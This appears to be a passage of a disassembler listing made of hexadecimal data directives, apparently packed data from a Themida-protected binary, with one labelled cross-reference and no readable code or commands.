		dd 0E836D43Dh, 85596F00h, 12F51E5Ch, 0B6A1A0B8h, 1879E0DDh
		dd 2081F3EEh, 41713FF8h, 9D7EC107h, 4339924Dh, 28A4ECC4h
		dd 0F0052E25h, 0FCA0054h, 5D6806D2h, 71151602h,	771F1B34h
		dd 8DB3A640h, 9A300D00h, 5CA23DCAh, 2DE4A039h, 0DB13041Ch
		dd 0A010ED1Bh, 5D0FF44Ch, 80070A6Ch, 83784B86h,	4CC4CE5h
		dd 2A20309h, 28027064h,	5876A70Fh, 3BD840B3h, 6443A14h
		dd 2AA8D900h, 0AE876916h, 0DE68E84Ch, 0CCD50C00h, 0F0C379E7h
		dd 8AFB0099h, 826B3085h, 7807DD3Ah, 5EF492EBh, 0E07A0B30h
		dd 4E1D0004h, 0E8F6DCA4h, 0CB05A95Ah, 7858F906h, 0BA199880h
		dd 9D3E00C0h, 0FB45F3B9h, 9E074A2Eh, 36B4B267h,	0DA0DD270h
		dd 0C8790068h, 916CBE32h, 0CD005255h, 0E5D5C050h, 0C05EE4A9h
		dd 10AA4810h, 0B90F0664h, 80704EF7h, 1C909124h,	0E84F7E5Bh
		dd 0BEC70E48h, 6D8FBA36h, 89C11DC0h, 0D412ABA3h, 94494C22h
		dd 1288109Ah, 381400C0h, 0F001E369h, 450E96D7h,	20FD30DEh
		dd 0F6CC8DD9h, 0F88C00E1h, 2E820529h, 0B2260C58h, 4000A4FCh
		dd 646DFDC1h, 809053h, 8F0508BDh, 7D54B27Ch, 0A9426600h
		dd 96F49112h, 0A2ED1EFBh, 4768C3BFh, 5FAAF0AEh,	0C5071C52h
		dd 73DF547Fh, 0B500B46Ah, 2D775C9Eh, 4D10CEC7h,	9AD878C0h
		dd 0B324A8D4h, 6000C9Bh, 57C9210Fh, 2DDC03C0h, 0B0875EDEh
		dd 30A89691h, 0E71E6EF3h, 0A52C7Bh, 7F0D2BCh, 0C84050D9h
		dd 0ACEAA0h, 0ABC4D0BEh, 6A1C638Dh, 693DE3F0h, 744B008Ch
		dd 5B98B98Bh, 0FBF6F5h,	0A19CD165h, 50A57AAAh, 1CD35D0Ah
		dd 0A60997F0h, 191D0212h, 2DA49198h, 0C06193E1h, 2C1470D6h
		dd 1781869h, 4F5559FAh,	0A0A43C88h, 1E1C0940h, 0C0D5582Bh
		dd 4318A7CDh, 6E007033h, 0A4F5E6C7h, 11CB047h, 29C2B65Ch
		dd 3401E82Ch, 3D2CF244h
		dd 3F0EBC33h, 82582011h, 1DA88A9h, 6BE1079Dh, 614C2EAEh
		dd 0C2AAFC13h, 9BD99600h, 0E5F8F0EDh, 689F6448h, 0DEAFC0D6h
		dd 0AB0032BDh, 1FB1B9E4h, 663F95h, 0EF8683CAh, 625E26F4h
		dd 0F2E01804h, 8D1BA6Fh, 0C02A5651h, 57B876F3h,	9AC5E500h
		dd 1945EB74h, 21D50FF8h, 0A02D736h, 40D50B22h, 0C0F2CE2Bh
		dd 0CDC37021h, 0A30DF0C1h, 6676FD1Ch, 55776047h, 0C04066F0h
		dd 226F4A8Dh, 0E918AF54h, 80D83EEh, 18A5D918h, 2EF009E1h
		dd 0AD5A006Bh, 45D5B51Bh, 38002150h, 313FBFAEh,	0E90D29E1h
		dd 4A069029h, 0D9CAD6C4h, 5EF75600h, 9DC2F8DDh,	5F2B0186h
		dd 0DC2FD4ECh, 0BB6034BEh, 3418F450h, 485FBF03h, 0F15DA8A7h
		dd 1440D62Eh, 0B8C178C3h, 3850EED8h, 2A8020ACh,	0F82BB2FFh
		dd 0CD005A76h, 0D560E93Ch, 7023E8Ah, 734BFC30h,	0F405000Bh
		dd 4C009357h, 51953B9Bh, 439778h, 561A1F67h, 77F1F9C2h
		dd 338BF00h, 0FABDAB7Fh, 4CB20060h, 4A1B55A4h, 3C07C228h
		dd 8C0E5251h, 0B3229210h, 4E571D71h, 509B00B1h,	0D8F89173h
		dd 0EB272A0Ch, 0AED9B4h, 84C8C5FCh, 3D55FA72h, 98BB343Ah
		dd 672008EEh, 0C7920036h, 6F312B10h, 5002DAFh, 0E46DD796h
		dd 0ECCF62h, 0DF22C7A9h, 78BEB118h, 308C3B54h, 0A861591Fh
		dd 9745AD40h, 0C0B7D451h, 5D64C879h, 0B800C27Eh, 1ECB6B3Ch
		dd 18EF32Ah, 0B78B16DEh, 48032170h, 80089C4h, 3D372832h
		dd 22AAE3h, 0AFE13507h,	0E0812A94h, 0D330F098h,	533861B5h
		dd 3C511244h, 0CE004388h, 210001C7h, 702F2355h,	0C0BBC9ADh
		dd 9E6D3069h, 9B00CD5Dh, 0AB8C2A4Dh, 1F603CDFh,	803F0CA9h
		dd 7CB0B90Ah, 8100832Eh, 4B6639F3h, 32ACC7h, 5F1DF284h
		dd 6EA3EA8Ch, 21083B00h, 0AD758180h, 59050072h,	0B115C649h
		dd 0DA073E93h, 0EB56BAA9h, 6785A310h, 7B300053h, 2DDB697Ah
		dd 77002CF2h, 92C07214h, 74D649F0h, 41B083h, 69745CB2h
		dd 0A7C5A390h, 43B7F716h, 556D0105h, 26373680h,	1B9F007Bh
		dd 53234133h, 341744C3h, 0C8074FAAh, 0DC80D377h, 1E192986h
		dd 1C5B0A02h, 0F1CEC039h, 0DEB4C2DDh, 83CBA300h, 33703B42h
		dd 34DCED8Ch, 65753052h, 9BBA310h, 1DB58400h, 0A980BC46h
		dd 0C5950744h, 0E0327A0Fh, 3F4117Bh, 5F2E3D0Eh,	0E9545E3Eh
		dd 86210090h, 0E709E170h, 1D6F054Ch, 0C0753FFDh, 5126BAD6h
		dd 0D9E86490h, 6F5B0901h, 0B410FC65h, 0FE3F788Eh, 0A754BEC0h
		dd 1B007B35h, 1FC50B1Eh, 0EC7301h, 38FDF03Eh, 2885DA84h
		dd 7109970Eh, 73868189h, 0C1C8462Dh, 0C6403A6h,	0DC21785h
		dd 80B058A1h, 2DBECA20h, 90ECF38Ah, 89363C01h, 430A6480h
		dd 0FA95A5DCh, 9007CE2h, 9E4F8AACh, 0E8D5097h, 73623F99h
		dd 68A600BEh, 0A4F03984h, 91F297Ah, 0BB8C60BCh,	3A32079h
		dd 9F5A80D2h, 0B9E8B190h, 0F701544Fh, 339E3DDCh, 0F8EB3E76h
		dd 0C003BFB6h, 63A98DB9h, 0A160B219h, 3DFBF711h, 93160161h
		dd 0A30E0325h, 0BEEAD11Fh, 20928521h, 8800F883h, 85ADEFA4h
		dd 0AB4A18EDh, 0E4CC077h, 8E745F01h, 0B4267B66h, 2E187087h
		dd 0E1887C95h, 0E7189F7Bh, 0FA1021BDh, 0A929005Fh, 0C7EE7230h
		dd 0E4634D45h, 0B8ED058Ah, 1CD6EB91h, 41184Eh, 0DCD2E23Eh
		dd 4F397ABDh, 648E007Dh, 746A5D6h, 9D84000Ah, 0CBADF519h
		dd 4F722A3Bh, 81B15C3Ch, 235A4742h, 9EF0B572h, 86FE00F1h
		dd 2141CAACh, 4E0516EDh, 9A742C48h, 9535D000h, 169D332h
		dd 96343701h, 0DC5D827Eh, 9000F79Ch, 2557ED4Ch,	0C01F3591h
		dd 1E37388Ah, 0A001D31h, 0CC28F187h, 3D6419Eh, 8F10C989h
		dd 84F8E24Eh, 2C7C0FEFh, 167ED91Fh, 3F8DDC1Fh, 0EDF818BFh
		dd 86DE03F2h, 0BF05534h, 0AFC0F3F3h, 9A03B8B3h,	0FEE2083h
		dd 0EF4981AEh, 0E03D2080h, 0DD37C49Fh, 285328C0h, 64DD48Ah
		dd 46B1F24Fh, 0B370844h, 2E1120E7h, 83F84E8Ah, 60E37188h
		dd 0E4F318F0h, 0BE5C61A2h, 25FF0FA2h, 691C6034h, 547323h
		dd 8156A909h, 2C8D68EDh, 0BF94CB0Ch, 0C95B882h,	0B429F15Ch
		dd 4F00DE48h, 2C2E7746h, 31D28D09h, 40087A34h, 0E920805Ch
		dd 9B9076BFh, 0ECE300DCh, 0B3FE1F48h, 0B10026C1h, 3770D31Dh
		dd 0CE7A52h, 3150773Eh,	5FE4D1C8h, 71AD4F00h, 222DCFCh
		dd 2A841DC5h, 47E00044h, 86BBA6D9h, 0FC1E8AE6h,	26C3F114h
		dd 0C3CF2C89h, 46EE0092h, 0A8CEF727h, 9D01FD33h, 993DE7E9h
		dd 0D7F7E6DFh, 0E00DB692h, 73EE4Dh, 0F0E7B5AAh,	48DF116Bh
		dd 0C3D09500h, 1C519A16h, 0F8F43ED9h, 2BEB7F05h, 0B0E50056h
		dd 0F6B70B8Ah, 568080Fh, 0B6007EFFh, 8391C663h,	59AD03B9h
		dd 0AECE40BFh, 38D68AF8h, 5B60C000h, 2CA86336h,	0E2BE009Ch
		dd 0CCCD6CD9h, 8CC7417h, 2CD72159h, 70DE486h, 71D33CA0h
		dd 0C9742FA7h, 8C20833Bh, 0B0D2F98Eh, 0AAEF69h,	0AD867940h
		dd 387A9BC6h, 9656B000h, 7F6BFCDDh, 7858002Eh, 0C1C83293h
		dd 0F10915F6h, 6A8D122h, 506982h, 1A04433Ah, 9BEB788Eh
		dd 83193D19h, 21806F08h, 0F51A0DF2h, 4D07BE32h,	0A05DB505h
		dd 23224E30h, 0BD93378Bh, 458C201Ch, 99758676h,	0E50710ECh
		dd 2F2ED46Bh, 8A3FE801h, 9C850B0h, 4503DCF1h, 9F2A22F2h
		dd 982043DFh, 30EC5FB3h, 7020E7A4h, 0BD0D00B2h,	8450AAA1h
		dd 231E5D1h, 0EF079945h, 9900D1BFh, 815AB683h, 0EB004AB3h
		dd 11AC85C5h, 0CD2E9Ah,	9B61743Dh, 3B8DA8C8h, 0BA54FF00h
		dd 78D98622h, 85100026h, 0E6EF8E44h, 1D0115EBh,	0D12A7C63h
		dd 47707A14h, 3CAF0371h, 0E37797CFh, 271B00C7h,	0BE03D0CCh
		dd 3D31BF61h, 0F7789815h, 0E9630059h, 443A12D7h, 401E7D9Fh
		dd 31C0EC91h, 19E0E5AAh, 568C00A0h, 227C82B5h, 30023EDh
		dd 4B0CCE63h, 0F183F4Fh, 30B921CDh, 4660E64Fh, 0FCA33DB7h
		dd 5F2D190Fh, 0E3682EF5h, 0F33CB1h, 17616D20h, 6F42DD7Ah
		dd 0A2442103h, 800497FCh, 0CD52DAh, 645FA984h, 16B10CFFh
		dd 15D839C0h, 783EFh, 0C8EAB662h, 0BF10DAB2h, 460FDC02h
		dd 0C0D63C65h, 3135AEA8h, 0C6392242h, 0B72080C3h, 5B8A6E63h
		dd 6D110054h, 36CDD9Fh,	2824CFB9h, 231D30FFh, 0A59FEC0h
		dd 18353F41h, 44F6C81Ch, 0D1F8343h, 307CE0A9h, 7178286Ah
		dd 3F8A094Ch, 230F1524h, 0A743D180h, 4D602C67h,	0D29C9329h
		dd 7E13906Bh, 0D74F00A9h, 0B17B4103h, 520E4735h, 3DB7D65Eh
		dd 39701C8Ch, 0FC4403AFh, 7978B611h, 0E54BA7C9h, 9E3E700Ch
		dd 57DA3C03h, 0B81C0848h, 2FFB05h, 0DC62292Dh, 0CEE9B4C6h
		dd 83960303h, 0E08D076Ah, 410827h, 0E7AACDC8h, 77DAE1D5h
		dd 984AB500h, 0CF052B93h, 0C40C089h, 32E20E96h,	0A6825406h
		dd 3188AB1h, 5C88E0A4h,	1EE160D3h, 36508A7h, 0F2319629h
		dd 697C3446h, 44870B00h, 1AE0CE73h, 2EBF00F3h, 58506E94h
		dd 0EC603442h, 0D9414980h, 9B33009Ah, 6A3294E1h, 7185F71h
		dd 702A5EB1h, 62C81E6Ch, 0CD61CA02h, 83B51C9Eh,	33D48847h
		dd 8B17EEF0h, 0C50C2300h, 3ADA1F05h, 719101E1h,	1280D082h
		dd 52F6E033h, 5AF9D600h, 9FCC10ACh, 4D3D0397h, 7EB69E1Fh
		dd 0AD9A48F0h, 7486340Ch, 14346E2h, 0D76918C0h,	80E349EFh
		dd 0EA9B2F09h, 12A3DAh,	134BB5C0h, 43F822ACh, 70E55400h
		dd 4F9F5BBAh, 4847E5AAh, 1470930h, 3DBE00B5h, 962BF01Ah
		dd 7E061F56h, 3C532873h, 170801A0h, 0EC8729F5h,	0CC91E0EDh
		dd 303D657Ch, 0DDBB0056h
		dd 37D5E9E1h, 117B09Ch,	99BE83F6h, 80F568ACh, 0E15878DEh
		dd 0F3EBFE7h, 0B0FD2BA8h, 0ABEDD1E0h, 2A580A37h, 0CB1600A0h
		dd 0DBF42969h, 805D012Fh, 98F3BEECh, 7C169EB3h,	57406CDDh
		dd 523AB928h, 0AC370039h, 1E9892EEh, 0B37947CBh, 0E03F3807h
		dd 8917378h, 5880143Bh,	6ABD8AC5h, 0B9F43010h, 0E900A3FCh
		dd 40B660C9h, 6C3685DBh, 2730603Fh, 39F1951Ch, 0CE4911F0h
		dd 41F700D6h
		db 31h,	6Dh, 0F3h
byte_5280C7	db 0F0h			; DATA XREF: Themida_:00562C83o
		dd 91E857C1h, 6BAF21C1h, 4D84842h, 2183006Fh, 977FB29Ch
		dd 0D618431Eh, 0B981F9Dh, 1691C33Ah, 0F2B0C3D1h, 0E400DA78h
		dd 0E1FBC279h, 30A6E8h,	88EA70EBh, 24DE808Fh, 332F98C0h
		dd 1F0B5B8h, 126972E7h,	0C573B4B3h, 706CE540h, 0AE008F6Fh
		dd 0D0088E3Dh, 7B302BBBh, 2F360029h, 81E0E445h,	69F2323Fh
		dd 6E417300h, 0D1592A96h, 0AB4F1C35h, 9261813Bh, 0EC3DF6CCh
		dd 6924E817h, 803D9CEAh, 3A757A23h, 0EC37C6h, 64CFBAFFh
		dd 9DD145Eh, 9F4EF900h,	0F24AE5F0h, 0ABE80005h,	0AFC5D316h
		dd 700A538h, 0A7418E74h, 6B403Bh, 0F0C9F763h, 0AF862A44h
		dd 3311EE01h, 981C7CD8h, 7A002C7Ch, 0EAD29A9Bh,	13005D3Ch
		dd 0BFB9C920h, 40DC6Bh,	697FBDFEh, 2A46A993h, 33B07001h
		dd 0B8F11A41h, 0E8CFB7F0h, 0C321C05Dh, 0BC1E2D3Ch, 0B4799D00h
		dd 0E34A3B99h, 5D73001Ah, 0BD13A7D2h, 46B0FCD5h, 0BEFA1500h
		dd 779F19D4h, 4375CCh, 0A3676A6h, 28458993h, 8316710Fh
		dd 216D63FFh, 4426F906h, 0B6A42087h, 68C73037h,	5A004CB0h
		dd 0B1B834B4h, 394574Ah, 6C7E69A9h, 4BE0F8DBh, 7A0CEC5Ah
		dd 403EB1B7h, 7C4B8A9h,	0F621701h, 0EF4ECFB6h, 3422B320h
		dd 50B7ED8Ah, 0AD8C073h, 0EFF4973h, 42301B01h, 37D1135Fh
		dd 90022FD0h, 71CC30AFh, 401AB920h, 0CB34E400h,	18241BCFh
		dd 66BB0E67h, 0E998EBA0h, 286AAA4h, 166E372Ch, 0FA19060Bh
		dd 8C67A980h, 252C7D28h, 1802B3EEh, 365E192Eh, 0E5D08014h
		dd 0C079AE92h, 2AC2EF10h, 80012B32h, 0A12CF382h, 0CDCC099Dh
		dd 20540178h, 0D797DEABh, 0F324DCF8h, 48BC1700h, 7566C01Dh
		dd 0AD8C0058h, 0C45E6307h, 9C00C31Bh, 0B365EFA0h, 0FF1679h
		dd 0F2D5FE2Ch, 0BB409A3Ah, 914FA807h, 4B40FCABh, 37C8A17h
		dd 64C8349h, 0EFA19E92h, 387AE860h, 7DFC6D00h, 1017D96Eh
		dd 6CF4B4h, 3A2EE5A1h, 0CC4F89C5h, 0BBD6900Eh, 4206E588h
		dd 0FB0367C0h, 985500A2h, 0E0BC256Ch, 0A728EE4Eh, 7400B9A3h
		dd 0E86B2399h, 0DF617Ch, 0F9662AE3h, 65352DB3h,	54128D1Fh
		dd 0A50B25C0h, 3C4ED49Dh, 4C807406h, 7EE12448h,	6A00E73Bh
		dd 167CF54Bh, 0B2E5BEh,	0F96BAE58h, 4D24731Eh, 5F31791Eh
		dd 2809B700h, 0CEF045h,	447B5B5Dh, 437D7F6Fh, 0ED3A3B00h
		dd 3287F89Ah, 0FF4A0740h, 0ECA0D36Ch, 4B00B319h, 0B1CEA137h
		dd 3D787F70h, 4280D95Ch, 3D3F58E4h, 8706A7CAh, 0C483A4F0h
		dd 0B4A8C438h, 4A6300FBh, 60705EBEh, 72329062h,	2100A3F7h
		dd 9E1B0BDFh, 0D46FDh, 4BE2CC8h, 79BA4B78h, 0BFEE9A16h
		dd 0F02FB1Dh, 0A0E8DF08h, 0C69D0994h, 77FE0059h, 4A700535h
		dd 0E4FC9425h, 0B11DFD00h, 0F03CD848h, 78BE0F3Dh, 1A0FAB13h
		dd 7E424C0h, 0E33BD471h, 95BB074Eh, 0EC4EE6CEh,	7FA2079h
		dd 0D24B727Fh, 40976770h, 4ADC453Ah, 128E40C2h,	9235E047h
		dd 5EBD00C4h, 0E507C808h, 1C07EA49h, 97F9B387h,	4CA00207h
		dd 0FEF4BA17h, 0CCC00A7h, 7A4424FCh, 0F203FEBCh, 0DBB7F154h
		dd 2E0918F9h, 35CD20E6h, 73C5F807h, 1A802A74h, 4F6627h
		dd 18F40E25h, 6DAEB1E1h, 0C9CB531Ch, 6F239C41h,	35E882DAh
		dd 480F062Eh, 5026783Dh, 0FB981F07h, 200C45D3h,	43EA0A66h
		dd 8C88443Dh, 0F09916CCh, 3B787407h, 0DE43AF64h, 9C480017h
		dd 5E8DD429h, 200688CEh, 0B944A915h, 5D840341h,	0A07DD557h
		dd 89B131A8h, 1F266E72h, 870FB7EBh, 0FEDDA056h,	0EEFDE9F4h
		dd 18BE0144h, 0F0CC959Eh, 817EF887h, 0F19C1A00h, 0BEB6540h
		dd 0B28E00A8h, 82EC39B8h, 3C02E3FEh, 3EF0E5D7h,	9068C390h
		dd 3D149E8Eh, 0F783AC29h, 0E3D79F2Bh, 0F52A2000h, 0C06DA872h
		dd 93E831h, 6EFA83D2h, 74753EEh, 5A8D0400h, 0B205E3ABh
		dd 0CFEA003Ch, 0CA23D377h, 0D1079192h, 765C57B1h, 96D58049h
		dd 7EDC66h, 9B21E785h, 0CD380A6Ah, 27935000h, 568F8A7Dh
		dd 7065007Fh, 14ED6F7Ch, 210054E4h, 0DBBBB801h,	1D2B37h
		dd 0EE4B8648h, 0E5227F88h, 0FF96DD00h, 0EB1745BCh, 8B8C07E0h
		dd 0B5162Ch, 5F4B57A9h,	494C0509h, 24F08C92h, 3E6A607Eh
		dd 93C6F52Eh, 0B18E7C00h, 0BCC153EDh, 713F0052h, 99B083C9h
		dd 2F3C4B5Bh, 82930021h, 5232F672h, 169F0173h, 0A66DA42Ah
		dd 0C65DC74h, 0C70B5900h, 4318CA94h, 0EE0100FBh, 9D278298h
		dd 2C1F9252h, 1500471Dh, 81798525h, 23B90074h, 0AFB7EAD6h
		dd 4000CE56h, 6813C535h, 0C84AAAh, 5A8EA40Bh, 0D21E2A59h
		dd 0C399EC00h, 0F38432BEh, 2E830101h, 0C5333B75h, 0E18030B7h
		dd 0BB6AA33Fh, 60F2BC3Dh, 0CD62AC60h, 7E8E00E5h, 55BADD04h
		dd 0E861A2E0h, 81A59A20h, 11C43561h, 49C500E3h,	3D64855h
		dd 2A0038D0h, 0CF047637h, 78251F9Ah, 2EE30022h,	0C0E236BAh
		dd 18A04461h, 3FE2B1DEh, 57047400h, 2AEA3B6Dh, 5D6A19FBh
		dd 0F401719Fh, 0AC3339A0h, 985C48BEh, 2161CB06h, 4988BF5Fh
		dd 11F1FD0h, 979B8312h,	0E1E830ABh, 0F115E900h,	0F26CB303h
		dd 0CD83E41h, 67DD1D00h, 934E2370h, 11A2006h, 0F68A6E4h
		dd 0FAD8DE52h, 68E7C561h, 0B6704021h, 4727FA0h,	0F4C85A54h
		dd 399D1600h, 4A755435h, 0B48050CDh, 485A0013h,	292C038Dh
		dd 0F700EF51h, 95068EA5h, 946DAh, 706D049Ch, 9FB273A1h
		dd 1124A200h, 84CC79FEh, 6BB50017h, 7D3C39B1h, 151FAA90h
		dd 86004DEBh, 29F16A44h, 0C8130016h, 3418533h, 0F3013FABh
		dd 76A01D6Eh, 0EED5528Dh, 879CD8h, 0EA1E4E46h, 0A84A672Ch
		dd 7760BF00h, 0FD86A181h, 9A3501B6h, 0AB4BE05Ah, 0B730809Eh
		dd 42F20363h, 0AA43094Fh, 0F600D0F0h, 813470E6h, 0C7BD8400h
		dd 656B2E67h, 7D2939BCh, 36A09303h, 0E0004563h,	2B38EE72h
		dd 20E368h, 8C831C70h, 0E0C6E654h, 4CC87400h, 0C3CCD41Fh
		dd 36300015h, 0E7BBB1A2h, 883FC611h, 0C0FE300Eh, 3C402955h
		dd 0FF1EFAD1h, 0A1F98h,	9A885BA5h, 7C58524Eh, 9FF303FBh
		dd 0E8EE5CD6h, 74A3622h, 12A85640h, 0F8AC2071h,	0BD383806h
		dd 346C0093h, 7EAFC21Ah, 0A3170021h, 374F8750h,	0CF7A7262h
		dd 0D0A72E07h, 0AD06D55h, 0F265F27Ch, 140AB0CEh, 0A08781F0h
		dd 0EDC13800h, 0AA61EBAh, 72FECE9h, 0FE8DD001h,	21B9A49Ah
		dd 0C3FD5880h, 0AB47B64Bh, 3FD36100h, 8A4033ADh, 0F948002Fh
		dd 9F4F150h, 9AFC9CB0h,	0B139CDECh, 4056B0A9h, 17BDB79h
		dd 0BC016935h, 204EDFF5h, 0D600CDF0h, 0D786473Fh, 3732B6h
		dd 8083894Dh, 5D213554h, 74F1A000h, 0BC066C1Dh,	7AA31C1Eh
		dd 668BCECDh, 0FE1FAA80h, 0A707F8EFh, 12B0E30Ch, 2009CFCFh
		dd 4A41E997h, 50866180h, 0DCEF4B58h, 0E201B288h, 87AF1C75h
		dd 9DECE0DFh, 18DEEC2Fh, 306AEE41h, 3C004A52h, 740156E1h
		dd 51D7820h, 512B8260h,	7AB08169h, 9ECDD0D7h, 0BA88C07h
		dd 27505FBBh, 7C589724h, 964A18C2h, 687718E5h, 32A26B00h
		dd 0E166C013h, 40BD410Dh, 19747ABAh, 30693703h,	6B08C8h
		dd 4E9FDE58h, 0A8E34B0Ah, 0ECF7B000h, 673AFE0Ch, 0F286001Ah
		dd 395C3595h, 36145169h, 0FEB5919h, 0EE827CDDh,	2C73EA3Dh
		dd 0AABC4800h, 7B73EFAh, 0B56043F1h, 23A67E1Fh,	0AB009990h
		dd 102A0AFDh, 0CCCA916h, 0C9B04D1h, 9C12791h, 2ADE259Eh
		dd 0E0FBA371h, 3965147h, 27168665h, 0E190F159h,	5F079EC9h
		dd 1C09BE52h, 5AF6C2B1h, 537A4180h, 89846B37h, 0AB146400h
		dd 0BD954765h, 1A263D13h
		dd 82487C00h, 0AD7B1C0h, 0AE161C1Eh, 80D9E0CBh,	0CF99F5C8h
		dd 27A705F3h, 448A232Fh, 97E424h, 0DFE08145h, 48BA05AAh
		dd 6A528AFh, 0B96585B8h, 0F29B938h, 0E0C3F5E7h,	0C1B8D6E4h
		dd 492600D5h, 900DD166h, 5E0068AFh, 147BFEF7h, 6E41CD0Fh
		dd 0EF43405Ah, 0F6C14BA6h, 5FD9800Ah, 0DD02729h, 8840021h
		dd 0B77385E6h, 0A6005D58h, 0C68C1E81h, 4DDE932h, 0BDB3A5ABh
		dd 8D288022h, 1F3B86DEh, 80DF39E6h, 55ABE51Eh, 5D5FCE1h
		dd 0E25B2C0Fh, 0F64A804Ch, 0F400DEF3h, 0D6DFE6CEh, 42AE49h
		dd 8C188DECh, 30E7710Bh, 62C2D20Eh, 0E599787Dh,	7F37036Eh
		dd 0EE28EF50h, 9877F2C0h, 0DE8CCE54h, 446E6C01h, 63F7BFE1h
		dd 76593981h, 0FC7F7957h, 0B500738Dh, 1E34FEF1h, 79774B37h
		dd 414D005Ah, 25A9AB58h, 5F006A8Fh, 0F16E7692h,	0F9205Bh
		dd 9E5231C2h, 72FFED57h, 7A64F00h, 0A1A54585h, 18F0A4h
		dd 0AFDA7A12h, 0B27727D8h, 16BAA900h, 0F72F9A07h, 0F1EC0344h
		dd 0D9408FA4h, 0C8C05CEBh, 6A052EF8h, 940B63E0h, 500CB3C0h
		dd 0AECF0097h, 0D15D535Fh, 0A300666Ah, 0D67BF756h, 6D44A2h
		dd 23B6A608h, 7C5F3A0Dh, 4169AB1Fh, 0D4400100h,	92673FBh
		dd 6B09889Ah, 2EB00C00h, 2F1C56CEh, 0FA0068F1h,	0F3BE40BFh
		dd 558E0126h, 636A71ADh, 0E6A3E0F2h, 83C0613Ch,	0DA7627Eh
		dd 1144A83Bh, 4C0F00FFh, 3FF4898Bh, 3816AD67h, 0E004636h
		dd 47F85045h, 545B0083h, 0AE6417D1h, 96E4F334h,	3A00117Bh
		dd 4988ABE0h, 25E0C06h,	8E677429h, 0D1F05009h, 0B5DB9A00h
		dd 93E5282Bh, 0C3C10FECh, 5BA05398h, 1DE499A8h,	0C20075E6h
		dd 93B2C669h, 1A15B3h, 9805CE6Ah, 3B41AB34h, 0D0AE800h
		dd 0D07C6FAEh, 527F00F1h, 1362394Dh, 0BA00A584h, 855B3F47h
		dd 7305E2FAh, 0C8A70A34h, 945A9Bh, 0C24B0869h, 0B260C68h
		dd 4C00FAB2h, 7A5230ADh, 536FADFh, 0BD12FF5Bh, 0EB2D80CEh
		dd 9E002FA4h, 1C7CCF4Bh, 0A9C0A7h, 0CE34AC82h, 65613E47h
		dd 0D1CA3804h, 0F886F539h, 0C5080E88h, 88E02441h, 1BC30D62h
		dd 7E36FB00h, 0F807469h, 671600E2h, 0BDD69578h,	0B303D09Dh
		dd 8EFE1AACh, 0C936D854h, 3418007Ch, 0DB7AFF3Dh, 0F80F42D8h
		dd 0E074306Eh, 0F50C888Dh, 0A0ED0054h, 0D881C189h, 1AB8938Eh
		dd 1A454E00h, 7E614A5h,	0C64D00C3h, 130C5B3h, 66F8A9EDh
		dd 9801057Fh, 0B1B9DDFCh, 0BDD49351h, 0CAA40079h, 33AC4C73h
		dd 0E6EE3AABh, 32CBD71Fh, 0B3185980h, 78FB71B5h, 0CE1D1E35h
		dd 0C06AD533h, 966D1400h, 0AD453F82h, 8204CC3Eh, 647F56EEh
		dd 38E07DCAh, 0FB006DBBh, 0ACD6BA6Bh, 44744Dh, 0FD08A04Eh
		dd 0BEE012A5h, 0F3479700h, 9AB061C8h, 0BB8A00D4h, 0F542FFD7h
		dd 9C384B87h, 0B418083h, 3F58B3C3h, 6A60079h, 29361202h
		dd 0EE0039A7h, 0DB2AD910h, 0B71A22h, 20A2567Fh,	0B190019Bh
		dd 37458700h, 24E9ABBEh, 0E599007Ah, 74400D5Ch,	0DB001513h
		dd 87B8644Ch, 472402h, 434B2791h, 3C458C78h, 20106F67h
		dd 2B8FFA90h, 21760048h, 0A812A7E8h, 62016BC7h,	0D5064CF2h
		dd 0B4217488h, 0E1C587DCh, 0E2FFBD4h, 17208D4h,	20029849h
		dd 2E226Dh, 0CE54255Ah,	4479C4h, 8D1CED79h, 6D076EB2h
		dd 23EC721Dh, 93474C00h, 95E75Ah, 0C6E9B6E2h, 9E505F9Dh
		dd 3C005D7Bh, 0D19761CFh, 1C9BE398h, 1B12AEh, 3809D971h
		dd 0FD009C4Fh, 48DB9D06h, 0C4549Fh, 5EC40C1h, 0D301D6B8h
		dd 3E008DE6h, 0D1EA905Fh, 0E97203h, 7A9F7C56h, 59D6D94Eh
		dd 4C4DFD00h, 0C3D3189Eh, 12230001h, 7210AFA3h,	0E3B6DB4h
		dd 0C077805Bh, 0FCE9E5B2h, 4B1C0099h, 0ACCAE636h, 1E5282F5h
		dd 78030780h, 0E90F21Fh, 0E2E57624h, 4D7C1CBDh,	5BFD8323h
		dd 48986CE0h, 0A8001653h, 5621990Ah, 1F0956Ah, 35BD1B2Dh
		dd 0B8DAFB39h, 89500080h, 96FF8A42h, 7F3D1FBBh,	65430015h
		dd 0C69413B6h, 61C5551Fh, 5EE78980h, 50D045Ah, 6AAFC22Ah
		dd 0F41D8251h, 7150FE0h, 5C8F7B00h, 0D3244396h,	0E38B0145h
		dd 9296F65h, 4710609Fh,	7E01187Ah, 0E8E8715h, 96EC4CF3h
		dd 243948E2h, 8330D280h, 4E0046DEh, 5D9BCA2Dh, 0C08B58A5h
		dd 4944E720h, 38EE5735h, 955E6118h, 43F3D18h, 0C4DB75FEh
		dd 0C21A80B8h, 3A002BB3h, 7E43EBDEh, 1F1D10D3h,	16EC5E0h
		dd 0A48A29A3h, 0D2F4FCD6h, 4A5F4200h, 22BE3A83h, 623E00B5h
		dd 2F02DC0Eh, 8B071DE9h, 0D0AEFBC4h, 0D6086850h, 47E40E33h
		dd 0ED405A97h, 738B626h, 0F9A0E51Eh, 0AF0D06C0h, 0D662C9h
		dd 0B22B9BB7h, 0ABAC0A9Ch, 850E3902h, 0DDB0EDF5h, 0FD8AD080h
		dd 8D007758h, 0D49CC926h, 72ADABEh, 0A3CFBDCAh,	0A7FB30E9h
		dd 7E009610h, 0F83DB5B6h, 0F6CCB66h, 18D0BF0Bh,	2980D1CBh
		dd 0E14D27DFh, 88AC4B03h, 80EDA016h, 0F0520E8h,	0BE5B1770h
		dd 0B3907C0h, 0E600DAB8h, 1D3CDD80h, 2CA86645h,	9C8203h
		dd 0F784484h, 3F09D7F5h, 8E6D873Dh, 0EC6C0130h,	9FF8C413h
		dd 8549009Dh, 7810F07Bh, 31008492h, 0AB5631Ah, 0A03CD333h
		dd 5E6FA9h, 96E468C6h, 0A4AE59F2h, 0DC1A6600h, 8C333CE1h
		dd 0FA873848h, 3C2C793h, 0AB302B0h, 6FAA5BD8h, 24627D09h
		dd 3BD4870Bh, 0C84DB1E3h, 3F5632FCh, 648141D3h,	837AAE99h
		dd 955560F9h, 0B7000CB0h, 0B505EF44h, 7420298Ah, 54B100CCh
		dd 71C7F79Eh, 6700700Bh, 3A464718h, 0B9D260h, 7D9F213Dh
		dd 74319954h, 5997020Eh, 733A278Fh, 0B72BA0B0h,	0AEBF00C1h
